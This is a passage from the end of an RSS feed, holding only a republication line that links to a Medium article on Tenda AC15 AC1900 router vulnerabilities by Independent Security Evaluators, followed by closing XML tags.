href="https://medium.com/independent-security-evaluators/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68">Tenda AC15 AC1900 Vulnerabilities Discovered and Exploited</a> was originally published in <a href="https://medium.com/independent-security-evaluators">Independent Security Evaluators</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>